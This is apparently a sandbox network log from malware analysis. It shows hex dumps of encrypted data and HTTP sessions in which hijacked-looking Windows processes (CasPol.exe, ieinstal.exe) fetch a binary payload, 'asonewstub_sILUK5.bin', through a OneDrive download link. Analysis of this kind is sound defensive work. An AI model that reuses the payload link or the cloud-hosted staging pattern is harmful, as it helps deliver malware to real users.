                                                                                                                          2022-05-12 12:17:33 UTC636INData Raw: ae ba 40 86 a2 51 19 57 ff 85 5a 77 42 dc 51 7d 8d 70 96 da aa 20 5d 01 71 c6 e1 7a 7b 39 6e 0a e8 04 ad 6e 5c 91 7a 6d 0f 18 50 2c 5f 14 22 67 63 85 e8 75 ad d5 3e 94 4f 05 0c 7a 9b 78 72 31 fb 2b 40 bb 20 d6 4c 3a 7e 77 1c f6 a4 fd 48 d9 86 92 57 1e cc 22 1c 62 b1 f4 10 ca 02 cd 5d 30 e3 c5 37 49 4c 9e e8 f8 f4 dd 2a ae f5 06 1d c9 ec 3a a9 77 d0 52 94 fa 6f 43 54 4f 77 38 1d 97 ea 41 72 cb e2 7e 97 95 ed 33 e6 67 d0 11 72 28 68 b1 c5 bb 09 57 f8 9c ae a5 c3 e2 77 7b b8 1b 1a 53 b8 9c 4b c8 7f 76 b9 2e 31 8a 90 f3 0a 1c 3c ff 1a 2e 0d a8 60 36 38 64 06 97 53 9d e0 ce d5 1a 16 dc ac 93 88 f8 89 2f 04 ed 02 cf 83 34 92 07 7a c3 0d 19 c8 0e cb 61 6e 9c 32 78 41 62 b6 ca f8 b7 d3 fd 85 82 97 94 04 7a ca 37 c9 3e bc 7a 8e c4 bd 28 42 f2 a1 d9 2f b2 6c 5c 08
                                                                                                                          Data Ascii: @QWZwBQ}p ]qz{9nn\zmP,_"gcu>Ozxr1+@ L:~wHW"b]07IL*:wRoCTOw8Ar~3gr(hWw{SKv.1<.`68dS/4zan2xAbz7>z(B/l\
                                                                                                                          2022-05-12 12:17:33 UTC652INData Raw: bd 59 50 d1 f9 d8 8d ac 1c a5 3e 28 69 4e 1c 6c 6b a8 7e 81 c6 ef 9b 1f 8f 7f 86 2d f7 ab d2 95 fa cc 7d 62 7c 82 79 e2 24 91 09 63 19 35 ae 83 ad de 0f f7 aa a4 d9 93 77 a1 6a 39 89 49 38 5c 13 f1 90 e1 c1 11 d5 b4 79 9c 3b 80 e9 87 66 ed bc a9 52 e7 00 60 b8 3c 77 6e 2b 12 5a ea 9d 18 b8 8f 05 7d a5 b6 4c 5e 71 18 69 16 89 76 c0 05 eb da 04 b5 d6 c6 ca 5f a8 e5 80 bf c5 10 b0 85 a6 20 47 7a 0e 73 03 1a 66 4f 33 13 b9 31 de 44 ea b0 31 62 56 1f ba 8e b5 3d 7d 62 1e 7b 73 3c f9 6f da 20 84 ce f2 1d 7d 7a fb a7 92 cf b5 af 1c 96 1c e7 64 ab 98 ab d8 d3 2e 62 02 80 78 aa 48 92 5d bd 42 12 8d 58 e4 d6 77 53 c8 af a7 c6 12 3e f9 24 46 5b a5 20 53 79 fc ca ea 6e 08 44 5a 19 67 d6 ed 6a 36 47 e4 2a 81 b4 d5 4f 20 04 5e c7 92 2b 24 a4 83 d3 b9 1d 18 92 36 72 2c
                                                                                                                          Data Ascii: YP>(iNlk~-}b|y$c5wj9I8\y;fR`<wn+Z}L^qiv_ GzsfO31D1bV=}b{s<o }zd.bxH]BXwS>$F[ SynDZgj6G*O ^+$6r,
                                                                                                                          2022-05-12 12:17:33 UTC668INData Raw: 08 7b 49 1d 74 76 d7 f7 71 93 f2 20 dd ec 2d 33 43 22 89 a5 0a 7a 81 df ef e8 5b ec 14 cf e6 3a c0 18 50 57 44 a6 b6 db 1a d0 7d 3d 45 de 31 55 ed a9 c2 7e 5d 0f b0 ae af f0 7e cd d4 06 ad 59 e0 33 eb 8d 03 cb 44 1d 4d 9e 3f b0 b3 b6 71 fd a1 ad 6f c1 e9 b2 88 d4 39 1c c1 a2 da 7d 13 78 2e bb f0 33 ed d5 67 e0 38 45 04 98 57 7e 5d 28 31 49 60 11 15 a2 f5 e4 e8 a8 2a 9e 0c be 22 3a 61 53 44 df 71 e4 46 16 3d 3c 1f d2 aa 7d a4 25 49 86 50 70 7d 67 06 08 d0 f0 7c 55 1a 39 c0 3c 93 9d 35 f2 72 b6 4c d4 3f 24 e3 1e ad dd 71 1b 20 51 84 77 dc 33 ad d0 21 87 2d 45 c7 09 11 c4 c9 0c f4 3c bf 11 3e 24 a1 75 57 a6 af cb cd ad 14 01 a3 a5 7f cf 3d c6 a4 26 55 3b c3 ba 26 4b e0 b3 fd 19 32 ec 47 93 45 67 9b 0d b2 5a e0 f1 35 38 3c 54 73 b4 3c 41 b9 e5 38 92 a2 61 db
                                                                                                                          Data Ascii: {Itvq -3C"z[:PWD}=E1U~]~Y3DM?qo9}x.3g8EW~](1I`*":aSDqF=<}%IPp}g|U9<5rL?$q Qw3!-E<>$uW=&U;&K2GEgZ58<Ts<A8a
                                                                                                                          2022-05-12 12:17:33 UTC684INData Raw: 7a 8f f2 86 7d f7 26 d2 fa fa 55 7d 0b 7c 11 79 87 24 6e 09 31 7c a7 cd ec de 21 0f b0 cf 2f 9a fc 19 2d 05 55 ec e1 51 32 77 61 e6 e0 c0 ee 2a 46 8e 04 93 4c 87 1c 09 9a ff c5 33 94 73 60 b8 7f 1b 01 58 77 5a ea 9d 79 b8 8f 05 3e ea f8 03 0b 25 3c 69 3b a4 5b 12 8d c6 08 cd 25 79 14 e7 77 85 37 ad 83 e8 c2 9d b2 8b f2 6a 4e 23 86 03 2e 4c 90 61 7d d4 ad b1 3e ca 39 31 72 76 ca 9a fc c7 a7 1c 3b 77 ea 14 71 9c f3 af 5a ed 45 8b 33 13 e0 8f ad 92 30 b5 82 31 44 31 ca 49 79 b5 86 f5 01 03 4f 2f 52 55 87 65 40 70 90 6f c0 a0 75 c9 23 7d 53 c8 50 a7 92 5e 92 c8 17 6b e5 e0 73 62 b4 c4 e7 ad d2 45 69 09 ae 26 e4 d8 a3 36 06 a8 99 81 f0 90 f6 61 51 12 6c 92 6e 67 1f d0 92 b9 e2 18 e0 54 8d 2c 9e 13 b1 b1 51 89 86 18 89 c0 91 a6 c3 6a 80 f5 aa e6 3d 14 02 76 c8
                                                                                                                          Data Ascii: z}&U}|y$n1|!/-UQ2wa*FL3s`XwZy>%<i;[%yw7jN#.La}>91rv;wqZE301D1IyO/RUe@pou#}SP^ksbEi&6aQlngT,Qj=v
                                                                                                                          2022-05-12 12:17:33 UTC700INData Raw: a6 d3 93 6f 89 4d aa 91 59 ec 79 86 38 94 cb 27 ec 83 e7 ca 0a fa e9 10 6d c0 91 83 46 10 37 e9 96 d6 c8 be f5 3e 3e 5f 61 ef 0a f4 b4 28 f2 7e 24 68 a4 b3 8a 21 8c b2 c7 56 97 39 fd b2 8e e5 e8 b2 20 5e 9e 7f 41 13 48 2b bb 10 33 ed d5 16 d0 b6 75 16 a9 79 4f 8b 19 15 7a 89 22 ed 91 f2 d0 c4 9c 64 aa 7f 8a 99 0e a2 67 8f eb fe d1 d1 23 f7 09 c6 e7 42 48 80 13 28 b0 cf 46 a6 51 f9 3e c6 c7 62 62 5f 0e 8e 0b cb aa 57 c5 1e 81 3a e3 bf 13 69 29 39 ea ef 2c 88 66 36 40 60 04 6b e7 f1 b0 f7 72 23 3e ff f3 31 3b e7 04 89 29 67 1c d5 4d d8 9e 36 f3 6e 95 b9 39 14 9d bd f7 f3 fe 7c 1e b7 03 2f 82 d0 73 e0 8a f7 20 26 d5 59 aa 6c 5e ae 34 fb 63 b3 c8 68 01 5b 6d 02 8d 47 78 3c dc b7 ab 3b 58 78 64 8f ba 24 23 38 d3 4d 2a 2e c4 2d 18 83 ab 05 f7 8c c5 0c 54 69 9a
                                                                                                                          Data Ascii: oMYy8'mF7>>_a(~$h!V9 ^AH+3uyOz"dg#BH(FQ>bb_W:i)9,f6@`kr#>1;)gM6n9|/s &Yl^4ch[mGx<;Xxd$#8M*.-Ti


                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                          2192.168.11.204977413.107.43.13443C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                          TimestampkBytes transferredDirectionData
                                                                                                                          2022-05-12 12:19:06 UTC705OUTGET /download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNkOJM HTTP/1.1
                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                          Host: onedrive.live.com
                                                                                                                          Cache-Control: no-cache
                                                                                                                          Cookie: MUID=20718A960FA8687F03949A000BA86C7A; wla42=
                                                                                                                          2022-05-12 12:19:06 UTC705INHTTP/1.1 302 Found
                                                                                                                          Cache-Control: no-cache, no-store
                                                                                                                          Pragma: no-cache
                                                                                                                          Content-Type: text/html
                                                                                                                          Expires: -1
                                                                                                                          Location: https://srqeug.dm.files.1drv.com/y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUlOdCsX5pbb6sRhAFyyW0rsiikZIYNIG3aN6ru2QI2Jocl96QMckoKGjZLRdv33V4FgJlT3eaTuEf_wqTXNdhutLMwhMLh-VKMkO_LprFAOjs6TmBR3J7sRcYsKdRqB40Ocy23CLaBXHZNwliA1rPOqAP9E2b6fOWIjj8SBiqNoMxg/asonewstub_sILUK5.bin?download&psid=1
                                                                                                                          Set-Cookie: E=P:RZPrmxE02og=:98Zwvt1wDTRl/3U+DCgnpL37dVH/az2IZdelFeDwvdQ=:F; domain=.live.com; path=/
                                                                                                                          Set-Cookie: xid=85174099-90ee-4bfb-9dc9-2193858b4ff6&&RDE42AAC93CC33&172; domain=.live.com; path=/
                                                                                                                          Set-Cookie: xidseq=1; domain=.live.com; path=/
                                                                                                                          Set-Cookie: LD=; domain=.live.com; expires=Thu, 12-May-2022 10:39:06 GMT; path=/
                                                                                                                          Set-Cookie: wla42=; domain=live.com; expires=Thu, 19-May-2022 12:19:06 GMT; path=/
                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                          Strict-Transport-Security: max-age=31536000
                                                                                                                          X-MSNServer: RDE42AAC93CC33
                                                                                                                          X-ODWebServer: centralus0-odwebpl
                                                                                                                          X-Cache: CONFIG_NOCACHE
                                                                                                                          X-MSEdge-Ref: Ref A: 523707DC32C64D1AA7F31718E62A9421 Ref B: VIEEDGE1812 Ref C: 2022-05-12T12:19:06Z
                                                                                                                          Date: Thu, 12 May 2022 12:19:05 GMT
                                                                                                                          Connection: close
                                                                                                                          Content-Length: 0


                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                          3192.168.11.204977513.107.43.12443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                                                                                                                          TimestampkBytes transferredDirectionData
                                                                                                                          2022-05-12 12:19:06 UTC706OUTGET /y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUlOdCsX5pbb6sRhAFyyW0rsiikZIYNIG3aN6ru2QI2Jocl96QMckoKGjZLRdv33V4FgJlT3eaTuEf_wqTXNdhutLMwhMLh-VKMkO_LprFAOjs6TmBR3J7sRcYsKdRqB40Ocy23CLaBXHZNwliA1rPOqAP9E2b6fOWIjj8SBiqNoMxg/asonewstub_sILUK5.bin?download&psid=1 HTTP/1.1
                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                          Cache-Control: no-cache
                                                                                                                          Host: srqeug.dm.files.1drv.com
                                                                                                                          Connection: Keep-Alive
                                                                                                                          2022-05-12 12:19:07 UTC706INHTTP/1.1 200 OK
                                                                                                                          Cache-Control: public
                                                                                                                          Content-Length: 215104
                                                                                                                          Content-Type: application/octet-stream
                                                                                                                          Content-Location: https://srqeug.dm.files.1drv.com/y4mWmfXrC7pY_5e5zLdKHGbqTRTY7ru3PzSbuunLusBV8qDfu1gh_BHmiBYNt80W1VEV3ECD9BYgCWI7BPKMRL3l_QKVvT11MIlN9hSr4VSwHWuHwge6WAOLmC2pjKqMBIQsnJYbORaqFENWr5N37flN5AfTMQYpBHEStCRwnpCZp-PVTIbWtnPrBkDxZqic8uK
                                                                                                                          Expires: Wed, 10 Aug 2022 12:19:07 GMT
                                                                                                                          Last-Modified: Wed, 11 May 2022 14:51:12 GMT
                                                                                                                          Accept-Ranges: bytes
                                                                                                                          ETag: B6AB3B5EAFD51867!312.2
                                                                                                                          P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
                                                                                                                          X-MSNSERVER: DS1PPF728B4DC0C
                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains
                                                                                                                          MS-CV: MKiP1Ic3eU2Y2UjGQoEU1g.0
                                                                                                                          X-SqlDataOrigin: S
                                                                                                                          CTag: aYzpCNkFCM0I1RUFGRDUxODY3ITMxMi4yNTc
                                                                                                                          X-PreAuthInfo: rv;poba;
                                                                                                                          Content-Disposition: attachment; filename="asonewstub_sILUK5.bin"
                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                          X-StreamOrigin: X
                                                                                                                          X-AsmVersion: UNKNOWN; 19.906.426.2003
                                                                                                                          X-Cache: CONFIG_NOCACHE
                                                                                                                          X-MSEdge-Ref: Ref A: 36DB84F6F4294F1AA85F0D9FD9B89E28 Ref B: VIEEDGE2806 Ref C: 2022-05-12T12:19:06Z
                                                                                                                          Date: Thu, 12 May 2022 12:19:06 GMT
                                                                                                                          Connection: close
                                                                                                                          2022-05-12 12:19:07 UTC708INData Raw: 2b 26 8d 86 3f be 39 26 45 ef 50 6d 83 97 a5 3b 79 0f 50 71 8d 71 1a e3 48 45 cd 8c 5d 68 50 22 a5 aa 1e 66 08 ee 2f 30 03 3e 8f f5 90 52 60 ad f4 25 6c 4d f9 04 98 c9 0c 48 84 08 81 8e c0 d4 9d 35 9d ea b9 e8 76 aa 13 48 ba 41 1e 0c 84 e5 ad 2f 55 1f a4 a7 6f 1b 08 3e 72 eb 33 67 94 cf f0 1e f5 dd d8 de f9 66 0d 60 fb 0b e0 35 2f f9 77 2a 7c 02 64 e2 2c e6 1c b7 1c fe f4 7c 48 f0 a9 ad a9 07 a2 13 07 a0 3a 0c 8e 56 e6 c6 7b 75 c9 ee 81 c5 1d ed bc da ca b6 1b 93 1b 78 a3 40 b1 59 65 74 07 62 8b fb cc df 42 cb 28 59 22 f3 81 f6 dd 4f f8 79 fa c0 3a 26 60 a3 39 51 93 80 e2 6c d2 48 bf 28 a3 e8 cf 09 26 1b 1a 26 9b 19 a7 06 9c b5 5a a5 22 06 d5 e8 a7 f4 14 08 4f bc 5b 45 ea e8 80 54 78 64 f1 96 a3 b7 53 a4 50 85 05 99 ae 7d 3f a4 4c 89 33 af f3 47 8b c8 2e
                                                                                                                          Data Ascii: +&?9&EPm;yPqqHE]hP"f/0>R`%lMH5vHA/Uo>r3gf`5/w*|d,|H:V{ux@YetbB(Y"Oy:&`9QlH(&&Z"O[ETxdSP}?L3G.
                                                                                                                          2022-05-12 12:19:07 UTC711INData Raw: e4 6f de 3b 9e 6b f8 8e 47 ce 6b df 7a 83 2a 63 2a c0 f3 1b d3 dc 45 40 fd 13 f8 f4 90 58 89 a4 24 72 3e ba 88 e2 34 27 67 08 85 4c 85 03 55 55 c5 aa 1d 59 ae 89 30 65 ed 32 2c d0 11 16 ea ba ec 5e e6 17 48 b0 e3 e6 e9 ac 8c 17 2f 53 bd a3 8f 22 1b 48 34 5a cc 33 67 92 e4 95 60 e6 dd d8 da e0 55 50 62 94 43 e0 35 25 87 6b 2a 7c 06 4c bd 2e e6 1a 9f 55 fc 74 7a 27 ba a7 b2 19 21 80 a5 0e 6b 33 ff 8f 1a 21 ed 3d 1d 88 f7 a3 b5 69 aa 97 a8 ab d1 13 99 78 16 cb 07 8b 79 07 1b 0f 7b fc 95 ea 9e 07 eb 6c 10 59 bf ee 99 bf 02 fe 74 f7 cc c0 2a 48 8e 39 51 99 a8 9c 29 d2 42 2d 29 8a e8 cd 8c 6d 79 1a 26 22 19 f6 0c 9d b9 a7 a5 20 06 c5 d9 a9 f4 f4 34 4c bc 49 4d ea f9 a8 63 78 64 55 e2 cd b5 53 82 78 a6 05 99 a4 77 41 b7 0c 89 37 99 c0 7d 8d e2 15 5f f8 4e b8 3f
                                                                                                                          Data Ascii: o;kGkz*c*E@X$r>4'gLUUY0e2,^H/S"H4Z3g`UPbC5%k*|L.Utz'!k3!=ixy{lYt*H9Q)B-)my&" 4LIMcxdUSxwA7}_N?
                                                                                                                          2022-05-12 12:19:07 UTC719INData Raw: 96 f1 83 1e 13 e8 ac 1b 0f a9 c5 f5 fd ce 93 6e da 9e a2 c1 05 c3 97 85 3a 7a 50 63 c3 a1 f2 d6 0a 6f f4 9e f6 b1 f9 66 b5 2c 53 4a 49 b1 08 0c 4d 89 fe b2 f1 41 ba f2 68 7d 4b 34 75 db 37 b5 15 ff 35 9f 1e 00 64 fe 18 90 f8 78 d3 ae 44 ad b9 a8 4b f3 a0 d7 22 48 67 5f e8 34 c3 1c 71 2a 49 31 eb 21 39 91 d6 29 04 b2 a4 01 56 01 08 6d 8f a3 64 f7 ee 64 c0 ca 06 91 83 21 a6 71 00 ba f6 7f 43 f6 ed a9 0b db 2d 34 ea 52 2c 46 56 07 26 62 e3 5e b4 33 1e 46 94 35 34 58 79 2d c1 d7 6f 26 33 64 24 3a af 2e bb 2f b3 ef 4b 54 b7 47 a7 71 2e 9a 36 03 25 62 4c 23 37 c4 6c c7 cc ed 51 92 ff 4b fe e5 32 d7 9b 1d 43 16 eb a2 a6 23 6a 50 d0 f5 12 64 3e 4a ac fd f6 5b 94 d6 a7 68 82 5b c8 86 d9 d7 28 d3 65 30 69 75 73 c9 af 69 98 7e aa e5 a2 45 ea b8 dc 62 6c 23 37 29 e9
                                                                                                                          Data Ascii: n:zPcof,SJIMAh}K4u75dxDK"Hg_4q*I1!9)Vmdd!qC-4R,FV&b^3F54Xy-o&3d$:./KTGq.6%bL#7lQK2C#jPd>J[h[(e0iusi~Ebl#7)
                                                                                                                          2022-05-12 12:19:07 UTC727INData Raw: a0 ee e6 8f 5d 7c 1a 58 9b 19 a7 3d 9c b5 ab a7 4f 00 df e9 a6 ec 49 20 62 aa 73 6a eb e8 8a 7c 56 66 5f cc a2 9f 7b 85 50 8f 76 b0 af 7d 35 de 0e e6 34 8e f3 4d e7 e9 2e 5f f8 44 94 28 35 24 1f 0b e9 8f 0c cc 49 dd b3 dc 75 81 f7 f7 5f cc d7 e4 41 6d 62 e4 ea 1e 87 53 6e 28 cb 31 58 e5 ca 31 36 d0 97 fb 96 18 eb aa 24 fb dc be 77 43 46 05 84 a3 1e b1 e9 81 78 2e 43 27 d0 87 b2 10 e8 55 1d 59 13 b7 2f 94 1a 39 82 b9 1a 5f 03 bf 58 ad 5c f2 45 e8 0c 6e 1a d8 38 0d d0 8f 71 35 03 db 91 7d 6e c4 7b 76 b0 8b 18 8a 55 c1 1a 39 89 54 62 f8 40 78 69 00 97 c5 e0 14 77 53 61 24 19 a5 10 0d 76 a1 bc bb a0 c7 25 d9 c5 04 9c 32 39 a1 2f d4 04 62 a3 96 a4 9a 44 0e fd df 6e 0c a2 f1 c1 b4 0b 60 92 69 5e f6 bc 56 3e 93 ef 05 c2 b2 87 11 54 ab 9f a3 ba bf c8 65 fa 01 84
                                                                                                                          Data Ascii: ]|X=OI bsj|Vf_{Pv}54M._D(5$Iu_AmbSn(1X16$wCFx.C'UY/9_X\En8q5}n{vU9Tb@xiwSa$v%29/bDn`i^V>Te
                                                                                                                          2022-05-12 12:19:07 UTC735INData Raw: 93 d9 48 d4 54 7e d7 9d 0e d8 39 90 a3 a7 3a 78 59 bb 97 04 e8 66 55 b5 ef 52 4a 81 c4 ac 68 6b 72 79 9c db a6 61 c7 4d f2 6d fb c2 69 0a 15 99 7e a1 e7 ae 3e b6 20 dc 68 79 20 0c e4 eb 92 e8 b9 f8 ca 58 d4 d9 12 f8 3e 21 ac ec 91 95 8d fa 05 f6 dd 5c 91 fe 92 68 57 12 a1 92 78 2e 51 aa f5 6f de 35 ad 9d e1 8e 4d d9 78 b7 18 ab 4d 6b 35 d6 42 1a c4 b3 5f 5f f0 e9 d1 87 95 4e 9c 88 72 7e 2d ba e7 b9 32 38 64 54 83 78 e5 69 2c 1b c3 08 1e 5e 0b ed 30 65 e6 2b 3b c1 6a 1b f5 ea 74 67 af 00 57 f1 dd f0 f6 9c f2 89 3e 50 06 bc 3b 7e 1e 52 21 65 77 22 62 8f d0 fb 82 e4 d8 c4 c1 ed fa 1c 65 e6 1d 7c 24 2a ef 69 45 08 02 64 e8 33 ec 0f b1 1c ef 72 63 42 0e a6 9e 1f 0a d9 c2 0e 6d 1f 98 18 05 20 f4 29 1d b1 9b b7 4b 6e ae d8 bf b8 dd 3b e1 7c 09 d2 d1 c4 55 05 3a
                                                                                                                          Data Ascii: HT~9:xYfURJhkryaMmi~> hy X>!\hWx.Qo5MxMk5B__Nr~-28dTxi,^0e+;jtgW>P;~R!ew"be|$*iEd3rcBm )Kn;|U:
                                                                                                                          2022-05-12 12:19:07 UTC743INData Raw: a1 3c 0d 54 39 e7 b9 db 0c 0d 70 c1 07 f9 ed 15 a0 25 d4 a0 68 9c 61 b3 4c c3 23 d3 df 75 0b 7e a1 d5 c6 d7 63 ba 9b 5c d3 48 53 8b 90 f8 d5 b8 1b 8e 12 84 97 06 08 bb b5 c0 4a 75 39 ac 89 60 5a 0d 1b 32 18 45 e4 59 2c e5 82 59 98 95 ac 0b 66 cf 24 98 ae a6 31 ca 91 d1 d5 4a 2e 74 f6 38 48 fa 84 06 df e3 a7 0e 81 1e f6 2b d7 e8 93 73 88 9e b0 dc 05 d0 96 96 11 73 5c fc c1 a1 f3 b9 3a 67 e5 8f e7 b7 ee 52 b2 38 49 2f ba b5 1c 0a 50 84 fe 89 32 57 b7 f7 6c f1 5e 30 67 d8 31 a1 13 d2 bf 9c 36 ed 70 d6 d9 ab ff 7c c4 23 6b 46 b9 a9 5e e4 b7 c2 32 48 67 bd e8 34 c3 36 c2 e3 49 37 c7 14 a3 ea 12 8b 15 b2 df cc 40 16 26 f2 f4 68 6e f4 c2 93 5a b1 c3 bc b0 22 dd f4 c7 b8 fc a7 1d 5e c2 84 0b da 33 33 f6 79 a5 4e 7e c3 32 4a 2c 74 41 37 09 cd bb df 34 59 6c 0f c6
                                                                                                                          Data Ascii: <T9p%haL#u~c\HSJu9`Z2EY,Yf$1J.t8H+ss\:gR8I/P2Wl^0g16p|#kF^2Hg46I7@&hnZ"^33yN~2J,tA74Yl
                                                                                                                          2022-05-12 12:19:07 UTC751INData Raw: f9 6c 1c 6d e2 64 38 34 2f f3 66 27 13 db 65 e2 26 f7 18 a1 0d fa fa cb 27 2a a6 b2 19 1a b6 b6 1a e3 ac a7 9d 0b 39 f8 3f c7 b1 93 7b a6 7c 93 d5 bf 71 cc ed 7d 55 16 cd 2e d6 68 16 05 36 02 ef 86 36 a7 3d fd 7d 07 ff 64 c4 6f b9 2a dc 07 24 cb 1e 2c 73 b6 28 44 82 91 dd fb d2 48 f9 3a b6 f9 da b4 ab 78 1a 2c b3 50 a5 06 9a 9d 40 a4 20 01 b1 a3 ac f4 1e 25 5b b5 7b 43 6a e8 80 14 b8 64 5f ca bf a7 de ab 50 85 04 8a b5 6c 2b b5 17 96 23 a7 3c 46 8b c0 2d 2c 28 45 94 22 26 7d 55 31 f8 94 63 1e 49 dd 49 f0 30 b8 d2 e0 85 d1 b6 7e b8 e0 4d e5 f9 02 9d 51 78 b4 6d 35 58 e7 d3 2a 0c e1 bd 04 8e c0 f9 d4 30 89 0c b5 7b 4e 5c 17 b5 ba 0d ac 86 7b 5f 2f 49 3e e6 b2 f3 9d cd c9 14 4f d6 a2 37 91 01 18 4a a6 26 4e 1b 22 df 83 aa 91 45 e2 1d 4a 32 1e 28 0f 8a b1 57
                                                                                                                          Data Ascii: lmd84/f'e&'*9?{|q}U.h66=}do*$,s(DH:x,P@ %[{Cjd_Pl+#<F-,(E"&}U1cII0~MQxm5X*0{N\{_/I>O7J&N"EJ2(W
                                                                                                                          2022-05-12 12:19:07 UTC759INData Raw: 1f d4 02 39 9b de 9c 68 b1 b1 15 44 14 36 8d 86 a2 6e f0 c4 93 bd c0 0d bc b4 24 b1 24 cd b9 f6 7d 57 00 e1 a8 0b de 3d 4f 00 7b b4 4c 54 08 4f 46 2b 5c b0 37 07 cf ee 38 35 59 6e 2b d2 a8 72 24 91 71 4f cc ba 38 a6 6b 0d ef 4b 5e b0 53 8f 97 6c c1 18 23 a8 65 46 94 4b d6 79 d3 e0 77 53 e9 f3 5e d6 2b 27 0d 8a dc 43 3e eb a2 a6 4d 66 40 d4 e7 2e e8 6c 4a bf cc 51 4a ec c3 b3 7e 02 73 55 97 cf ce 2a ff 2b f7 6b 75 75 ce 27 70 66 7f 87 e3 b4 53 b9 29 dd 62 62 34 c9 9f e2 82 ee a2 eb 3d 4a fd d0 3b 02 d8 20 52 df 96 80 9d c4 56 f1 c2 53 73 ec bb 74 44 6c f7 6c 79 06 5c d2 bb b5 c9 e7 08 c9 e0 8e 46 c3 79 cb 69 ab 5c 64 30 38 50 30 d5 a0 22 4a fc 17 d4 a9 e9 51 8e 8c 69 aa 34 a7 f4 ad 34 36 68 b7 7c 55 81 7c 55 2e cb 09 1a 44 84 b9 39 64 e7 3c 36 c6 6c 25 34
                                                                                                                          Data Ascii: 9hD6n$$}W=O{LTOF+\785Yn+r$qO8kK^Sl#eFKywS^+'C>Mf@.lJQJ~sU*+kuu'pfS)bb4=J; RVSstDlly\Fyi\d08P0"JQi446h|U|U.D9d<6l%4
                                                                                                                          2022-05-12 12:19:07 UTC767INData Raw: 36 72 ef 97 f2 84 c6 db e9 2f fa da bc 53 69 4c 0d a2 88 c9 b1 e9 a3 48 5c 5f 2f f8 a7 dc 0d e0 c9 1e 48 ed cc 25 85 18 00 73 9d 33 5f 05 84 bd ab 5c 9b 52 9b 10 50 1a d2 46 12 82 99 14 18 2a ac 98 71 6a 9c 45 30 9f 8a 1e a8 8b c9 1d e9 94 24 79 c8 44 71 0e 2c 89 ed c5 10 5f 65 65 a8 4e ad 38 3d 7d 2d eb 93 75 c6 0d 7a d2 77 8a 43 14 aa 40 c3 7c 64 be 4a 9b 74 ca 0b fb d7 5d 38 a3 a1 d1 95 c8 63 ba 95 49 85 aa 56 6e 9a 97 ce c9 b1 85 14 a6 b7 6a a3 bc bd e2 59 a8 2b 82 8c b5 5a 07 13 4a 87 59 e6 5f 0e a4 9f 5b 92 41 aa 25 4c c8 26 b5 cc 49 45 ba 97 fb d4 24 fd 74 f6 32 5b de af 38 d4 cc c4 b5 81 1e fd 5f cd ce 93 74 d9 9b b3 c4 7e ce 95 8d 2b 56 46 6f c7 b0 f6 b6 25 65 f4 91 e5 b4 82 61 b7 2c 48 11 f2 b0 08 00 29 af e8 9a 3d 52 95 9b d4 f0 4c 3e 58 1c fd
                                                                                                                          Data Ascii: 6r/SiLH\_/H%s3_\RPF*qjE0$yDq,_eeN8=}-uzwC@|dJt]8cIVnjY+ZJY_[A%L&IE$t2[8_t~+VFo%ea,H)=RL>X
                                                                                                                          2022-05-12 12:19:07 UTC775INData Raw: 6d de 3b 5b e8 c5 a6 6a cf 60 d2 60 83 63 61 2a cc 8f 1c c2 dc 01 41 fd 13 f8 40 93 58 89 a4 27 73 3e ba cf 45 35 27 6b c5 a3 56 ad 61 89 5b e6 20 37 40 86 c8 3d 4d c9 38 3e da b1 0d ec 90 e9 6a aa 17 48 ba 47 e1 ef a6 e5 1b 32 55 1f a5 a7 6f 2b 48 22 3e eb 3d 7a 94 cf f1 05 c5 de d8 82 f9 66 0d cc fb 0b f1 46 3a fb 77 20 76 04 1a bb 2d e6 18 9f f7 ff 74 7a 60 bc a4 b2 15 21 4e a6 0e 6b 74 95 8d 1a 21 39 21 38 88 b0 a1 b5 65 8e f3 86 ab db 31 2e 7a 10 b3 76 c4 79 03 39 cc 11 fe 93 c4 fa 2f eb 6a 3e 9c d2 ec 9f d6 0b d4 74 fd 14 10 03 48 8e 39 51 99 8d 9a 07 d2 48 f9 f7 a0 ee e6 9d 71 79 1a 26 9b 1f a7 1a be b5 b4 b8 20 07 df e9 ac c4 14 2a 00 bc 55 50 ea e8 81 4f 48 67 5f 96 a0 b7 53 28 50 85 14 ea bb 7f 3f ae 06 8f 4d d5 f2 47 8f e2 c5 5e f8 42 bc 70 36
                                                                                                                          Data Ascii: m;[j``ca*A@X's>E5'kVa[ 7@=M8>jHG2Uo+H">=zfF:w v-tz`!Nkt!9!8e1.zvy9/j>tH9QHqy& *UPOHg_S(P?MG^Bp6
                                                                                                                          2022-05-12 12:19:07 UTC783INData Raw: 9d a7 09 c5 e3 ab 13 81 0e b7 70 ff f8 93 6f c0 29 b5 17 88 c8 97 8d 20 69 51 55 85 b0 e3 dc 3d 70 dc f3 f6 b1 f3 5b 6f 03 6e 28 a4 a0 03 17 41 9f fa 09 1f 14 b8 f4 74 e1 4b 25 65 cd f5 32 29 80 af 9f 14 1b 77 c7 cf 8a 2e ed ec 74 41 ad b3 81 7e f7 b1 d9 96 5b 0c 6f 3e 27 d7 25 b2 3f 9f 24 c8 13 29 80 db 9c 3d de b2 15 4a 0c fa c1 23 8b 94 f5 c6 83 d3 c0 1d b3 a3 3e a4 4a d1 a9 ee 16 52 7a ea a3 18 c3 12 66 ef 62 a5 51 39 fc 33 4a 20 4f a6 24 03 da 81 1d 63 5b 6a 23 f8 f0 79 25 9b 66 2a 3f b2 29 a8 10 06 87 49 5e ba 63 9c a6 26 8b 34 04 a1 f6 64 74 34 d0 72 fb c7 75 51 98 e6 55 c7 26 27 01 8e 03 df 06 fc 74 b4 27 7f 56 c5 fa 36 5c 7d 40 bd f6 45 40 b8 e4 b3 7e 9f 60 5f 97 d3 b2 49 c5 4d fc 78 7d 5d 25 23 6e 9e 6d ad e0 b0 40 cf 36 46 4a 5d 35 1f e8 c8 